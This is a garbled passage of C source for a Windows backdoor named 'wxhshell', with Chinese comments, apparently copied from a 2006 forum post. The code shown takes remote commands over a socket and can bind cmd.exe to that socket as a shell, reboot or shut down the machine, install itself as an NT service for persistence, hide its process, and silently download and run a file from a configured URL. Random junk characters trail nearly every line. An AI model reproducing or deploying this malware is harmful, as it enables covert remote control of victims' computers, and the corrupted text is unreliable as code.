Bck7\  
    switch(cmd[0]) { m~Bl*`~M  
  }L3oR  
  // 帮助 jJY"{foWV  
  case '?': { f3{MvAy[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :Jy'# c  
    break; C] 9 p5Hs  
  } *R3f{/DK  
  // 安装 *@Y3oh}S  
  case 'i': { 6s\Kt3=  
    if(Install()) .k9{Yv0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7J|VD#DE$Y  
    else 0-|byAh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /yF QeE  
    break; 2Sp=rI  
    } pN9A{v(  
  // 卸载 %8Dz o  
  case 'r': { Y&_&s7z  
    if(Uninstall()) NqEA4C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dBe`p5Z  
    else oiyzHx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tp?y8r  
    break; s]mY*@a%  
    } dd%h67J2<  
  // 显示 wxhshell 所在路径 : G`hm{  
  case 'p': { DrBUe'RH:M  
    char svExeFile[MAX_PATH]; _ozg_E  
    strcpy(svExeFile,"\n\r"); ~r$jza~o(  
      strcat(svExeFile,ExeFile); ]Xf% ,iu  
        send(wsh,svExeFile,strlen(svExeFile),0); @` Eg(  
    break; XC "'Q+  
    } .YnFH$;$  
  // 重启 [],1lRYI9_  
  case 'b': { 13%t"-@bh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^;maotHn  
    if(Boot(REBOOT)) MpqZH{:?G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CI :`<PZ\-  
    else { z=_Ef3`M  
    closesocket(wsh); \, &co  
    ExitThread(0); Nl9I*x^e  
    } 7&"n`@(.!  
    break; }X_;X_\3;'  
    } QgD g}\P  
  // 关机 P=+nB*hG  
  case 'd': { )aao[_ZS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H_Kj7(=&>  
    if(Boot(SHUTDOWN)) ?wF'<kEH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |),'9  
    else { +sx 8t  
    closesocket(wsh); J}@z_^|"mJ  
    ExitThread(0); VY"9?2?/  
    } qYf |Gv  
    break; 7aYn0_NKp  
    } MXiQ1 x  
  // 获取shell C?=P  
  case 's': { @~"an qT`  
    CmdShell(wsh); hf<^/@^tK  
    closesocket(wsh); .tmiQ.  
    ExitThread(0); N!x =eC  
    break; 6uKMCQ=h  
  } e9Pk"HHl  
  // 退出 ~-t>z  
  case 'x': { UMp/ \&0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f\1A! Yp  
    CloseIt(wsh); e)IpPTj#  
    break; ym/fFm6h  
    } Q33"u/-v  
  // 离开 lz0TK)kuC  
  case 'q': { TO*BH^5R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^o@,3__7Q  
    closesocket(wsh); $DC*i-}qFg  
    WSACleanup(); 6^n0[7  
    exit(1); 'K*AV7>E  
    break; OxtOd\0$  
        } l|+BC  
  } p!V>XY'N^  
  } M9f?q.Bv  
!k(_PM  
  // 提示信息 %Lrd6i_j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f0SAP0M3  
} ^*= 85iyo  
  } N+)?$[  
=!UR=Hq  
  return; /.eeO k  
} ?Xo*1Z =  
<0.$'M~E  
// shell模块句柄 C*te^3k>B  
int CmdShell(SOCKET sock) `L5~mb;7*  
{ h~,JdDV8l*  
STARTUPINFO si; A[dvEb;r  
ZeroMemory(&si,sizeof(si));  \^K&vW;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xwZ8D<e-,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Yy JPHw)Z  
PROCESS_INFORMATION ProcessInfo; SL&hJs4c'  
char cmdline[]="cmd"; $W42vjr4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C#=bW'C  
  return 0; ]$ b<Gs  
} vhT_=:x  
\mN[gT}LHm  
// 自身启动模式 y3;q_4.  
int StartFromService(void) 5Wj; [2 )  
{ %T=A{<[`  
typedef struct +P`(Rf"luu  
{ \#x}q'BC4  
  DWORD ExitStatus; V*$L;xbC|  
  DWORD PebBaseAddress; !b-bP,q  
  DWORD AffinityMask; Na,_  
  DWORD BasePriority; pA#}-S%  
  ULONG UniqueProcessId; (|fm6$  
  ULONG InheritedFromUniqueProcessId; z ggB$5  
}   PROCESS_BASIC_INFORMATION; )g@S%Yu  
rba;&D;  
PROCNTQSIP NtQueryInformationProcess; v !Kw< fp|  
1fL<&G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tAFti+Qb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &~f3psA  
FM5e+$>@  
  HANDLE             hProcess;  ql&*6KZ"  
  PROCESS_BASIC_INFORMATION pbi; i_LF`JhEQT  
W:VP1 :  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $O:w(U  
  if(NULL == hInst ) return 0; 68'>Zbelb  
7C?.L70ZY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3%<C<(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MuEy>dl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TE-;X,gDV_  
) I@L+  
  if (!NtQueryInformationProcess) return 0; $H'X V"<o  
%YlTF\-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $\Tkhq<  
  if(!hProcess) return 0; VnJMmMM  
"x&C5l}n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z&3]%t `C  
>1irSUj"~  
  CloseHandle(hProcess); A~{f/%8D  
AzpV4(:an.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); snp v z1iS  
if(hProcess==NULL) return 0; d2ENm%q*PX  
[{<dbW\ 9  
HMODULE hMod; 6a>H|"P NE  
char procName[255]; E)t  
unsigned long cbNeeded; 4R) |->"  
<3O T>E[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "!Rw)=7O  
IdRdW{o  
  CloseHandle(hProcess); H.O(*Q=  
[H"#7t.V-~  
if(strstr(procName,"services")) return 1; // 以服务启动 )Z@-DA*Q-  
g "!\\:M  
  return 0; // 注册表启动 -lRhz!E]  
} L$Z(+6m5  
qMS}t3X  
// 主模块 _b4fS'[  
int StartWxhshell(LPSTR lpCmdLine) ; a/cty0Ch  
{ jlKGXD)Q[  
  SOCKET wsl; U06o ;s(  
BOOL val=TRUE; EH+~].PJd  
  int port=0; T"E(  F  
  struct sockaddr_in door; ^,2c-  
,i ++fOnQ  
  if(wscfg.ws_autoins) Install(); L,-u.vV  
JAn1{<Ky  
port=atoi(lpCmdLine); ]s|lxqP  
]~a_d)  
if(port<=0) port=wscfg.ws_port; Inuc(_I  
?Nl"sVCo  
  WSADATA data; H] qq ~bO[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mR":z|6  
0B0G2t&hr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LnMwx#^*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,\h YEup  
  door.sin_family = AF_INET; _Nu` )m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I Ru$oF}  
  door.sin_port = htons(port); ! VRI_c  
z-0:m|=yH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H$-$2?5  
closesocket(wsl); o|2 87S|$  
return 1; v`G U09   
} 5urE  
Y%v P#>h  
  if(listen(wsl,2) == INVALID_SOCKET) { ix Ow=!@  
closesocket(wsl); WhUa^  
return 1;  "jU  
} bBE^^9G=Z  
  Wxhshell(wsl); }g,X5v?W  
  WSACleanup(); D$_8rHc\A  
&R\XUxI  
return 0; 6hbEO-(  
@&/\r 7 '  
} ?2~U2Ir]:  
8SD}nFQ  
// 以NT服务方式启动 =O^7TrM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R/N<0!HZ  
{ 8 G?b.NE^  
DWORD   status = 0; V}`M<A6:  
  DWORD   specificError = 0xfffffff; *t =i  
'=%i,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `QCD$=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p6blD-v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !=M/j}  
  serviceStatus.dwWin32ExitCode     = 0; 6bL"LM`s  
  serviceStatus.dwServiceSpecificExitCode = 0; lgG8!Ja  
  serviceStatus.dwCheckPoint       = 0; Kpu<rKP`  
  serviceStatus.dwWaitHint       = 0; j-P^Zv};u  
FYeEG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [u\CDsX  
  if (hServiceStatusHandle==0) return; px&=((Z7>  
[>uwk``_  
status = GetLastError(); iy 3DX|]  
  if (status!=NO_ERROR) [oHOHp/V  
{ ]]V^:"ne  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; anZIB  
    serviceStatus.dwCheckPoint       = 0; M]s[ "0O  
    serviceStatus.dwWaitHint       = 0; ],V kp  
    serviceStatus.dwWin32ExitCode     = status; 'j /q76uXV  
    serviceStatus.dwServiceSpecificExitCode = specificError; <<BQYU)Ig  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lIy/;hIc  
    return; cJ4S!  
  } ` t\z   
pFH?/D/q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L9'-  
  serviceStatus.dwCheckPoint       = 0; cd"wNH-  
  serviceStatus.dwWaitHint       = 0; w})NmaT;YF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `hF;$  
} g Np-f  
\R;K>c7=  
// 处理NT服务事件,比如:启动、停止 v=bv@c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZmO' IT=Ye  
{ }Ch[|D=Wd6  
switch(fdwControl) wL|7mMM,  
{ hd=j56P5P  
case SERVICE_CONTROL_STOP: = P8~n2V  
  serviceStatus.dwWin32ExitCode = 0; &.*T\3UO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <\xQ7|e  
  serviceStatus.dwCheckPoint   = 0; @{de$ ODu  
  serviceStatus.dwWaitHint     = 0; lvig>0:M  
  { ]*h&hsS 0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |x[$3R1@  
  } r2)pAiTM*  
  return; HU.1":.;  
case SERVICE_CONTROL_PAUSE: <lX:eR1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L3' \r  
  break; <wqRk<  
case SERVICE_CONTROL_CONTINUE: 9e76 pP(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I1J)#p%H.  
  break; .i\wE@v  
case SERVICE_CONTROL_INTERROGATE: !Ba3` B5l  
  break; [EcV\.  
}; 9/Q S0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VG#$fRrZ  
} :EaiM J_=  
:=B[y D!  
// 标准应用程序主函数 nR#a)et  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a#6,#Q"  
{ {9,R@>R  
8s&2gn1  
// 获取操作系统版本 $/y%[ .  
OsIsNt=GetOsVer(); 7@\GU]. 2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #s/{u RYQ  
hG[4O3jo\  
  // 从命令行安装 c8!j6\dC*  
  if(strpbrk(lpCmdLine,"iI")) Install(); )m>6hk  
Wpa$B )xg  
  // 下载执行文件 EsNk<Ra  
if(wscfg.ws_downexe) { rQuOt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pIrv$^  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]b!R-G!gV  
} 's/27=o  
cEtZ}2,j  
if(!OsIsNt) { (O<abB(  
// 如果时win9x,隐藏进程并且设置为注册表启动 1pl2;!  
HideProc(); Ld'EABM  
StartWxhshell(lpCmdLine); F F(^:N  
} QDl)92z  
else %j!z\pa  
  if(StartFromService()) 'II vub#q  
  // 以服务方式启动 ^$ZI>L0+  
  StartServiceCtrlDispatcher(DispatchTable); "&s9cO.H  
else -!JlM@  
  // 普通方式启动 Ty(yh(oYF`  
  StartWxhshell(lpCmdLine); HK=CP0H  
U5 -zB)V  
return 0; ~m3V]v(q7  
}
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只看该作者 1 发表于: 2006-10-10
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